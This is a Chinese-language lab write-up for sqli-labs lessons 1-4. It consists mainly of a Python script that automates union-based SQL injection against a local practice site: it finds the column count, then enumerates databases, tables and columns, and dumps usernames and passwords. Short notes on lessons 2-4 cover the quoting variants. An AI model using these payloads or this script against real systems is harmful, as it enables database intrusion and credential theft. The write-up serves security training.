sqli-labs：1-4，基于报错的注入

sqli1：

脚本

 # -*- coding: utf-8 -*-

 """

 Created on Sat Mar 23 09:37:14 2019

 @author: kenshin

 """

 import requests,re

 url = 'http://localhost/sqli-labs/Less-1/?id=-1'

 def Len_OrderBy(url):

     pattern_mark = 'Unknown column'

     #假设字段长20

     for i in range(1,20):

         url_new = url + "\' order by "+ str(i) +"--+"

         r = requests.get(url_new)

         if(re.findall(pattern_mark,r.text)):

             print('the lenght of column(order by) is :' + str(i-1) + "\n")

             break

     return i-1

 def get_DB(url,lenght):

     #注意：由此模式匹配到的是一个数量为1的列表，后续按','将数量拆分成n个,以便输出

     pattern_mark = 'Your Login name:(.+?)<br>'

     str = ''

     for i in range(1,lenght):

         str += 'group_concat(schema_name),'

     str += 'group_concat(schema_name)'

     payload = '\' union select ' + str +' from information_schema.schemata--+'

     url += payload

     r = requests.get(url)

     r = re.findall(pattern_mark,r.text)

     #list转str

     str_tmp = "".join(r)

     #re.split按','拆分

     lst = re.split(',',str_tmp)

     print('-'*9 + 'databases' + '-'*8)

     for s in lst:

         print('.' + s )

     print('-'*25)

 def get_TB(url,lenght,db):

     pattern_mark = 'Your Login name:(.+?)<br>'

     str = ''

     for i in range(1,lenght):

         str += 'group_concat(table_name),'

     str += 'group_concat(table_name)'

     payload = "\' union select "+ str +" from information_schema.tables where table_schema=\'" + db + "\'--+"

     url += payload

     r = requests.get(url)

     r = re.findall(pattern_mark,r.text)

     #list转str

     str_tmp = "".join(r)

     #re.split按','拆分

     lst = re.split(',',str_tmp)

     print('-'*9 +'Database '+ db +'\'s Tables' + '-'*8)

     for s in lst:

         print('.' + s )

     print('-'*35)

 def get_Column(url,lenght,tb):

     pattern_mark = 'Your Login name:(.+?)<br>'

     str = ''

     for i in range(1,lenght):

         str += 'group_concat(column_name),'

     str += 'group_concat(column_name)'

     payload = "\' union select " +str+ " from information_schema.columns where table_name=\'" +tb+ "\'--+"

     url += payload

     r = requests.get(url)

     r = re.findall(pattern_mark,r.text)

     #list转str

     str_tmp = ''.join(r)

     #re.split按','拆分

     lst = re.split(',',str_tmp)

     print('-'*9 +'Table '+ tb +'\'s Columns' + '-'*8)

     for s in lst:

         print('.' + s )

     print('-'*35)

 def get_data(url,lenght,tb,data):

     pattern_mark = 'Your Login name:(.+?)<br>'

     pattern_mark_pass = 'Your Password:(.+?)</font>'

     #if lenght=5

     #data=a,b,c

     #after expend

     #data=a,b,c,4,5

     #str to list

     lst = data.split(",")

     while len(lst) < lenght:

         lst.append(str(len(lst)+1))

     #list to str

     sn = ''

     for i in lst:

         sn += i+","

     #以上循环结果sn='a,b,c,'  c后的‘，’舍去才能构造正确payload

     sn=sn.rstrip(",")

     #格式化输出结果

     print('-'*9 +'Table '+ tb +'\'s All datas' + '-'*8)

     #假设最多有100组数据

     for i in range(1,100):

         payload = "\' union select "+ sn +" from "+ tb +" where id="+ str(i) +"--+"

         url_new = url + payload

         r = r_pass = requests.get(url_new)

         r = re.findall(pattern_mark,r.text)

         r_pass = re.findall(pattern_mark_pass,r_pass.text)

         print(str(r) +" "*(16-len(str(r)))+"=>  "+str(r_pass)+" "*(18-len(str(r_pass)))+"|")

         if (len(r)==0 and len(r_pass)==0):

             break

     print("-"*41)

 #字段长度

 lenght = Len_OrderBy(url)

 #所有数据库

 get_DB(url,lenght)

 #由库爆表

 db = input("select databases >> ")

 get_TB(url,lenght,db)

 #由表爆列

 tb = input("select table >> ")

 get_Column(url,3,tb)

 #由表和列名爆数据

 data = input("select columns (no more than " +str(lenght)+ ",and separate by ',') >> ")

 get_data(url,lenght,tb,data)

脚本 1

sqli2：

与sqli1比较，少了 '，对id没有经过处理。

sqli3：

对id经过了')处理

 sqli4：

对id经过了")处理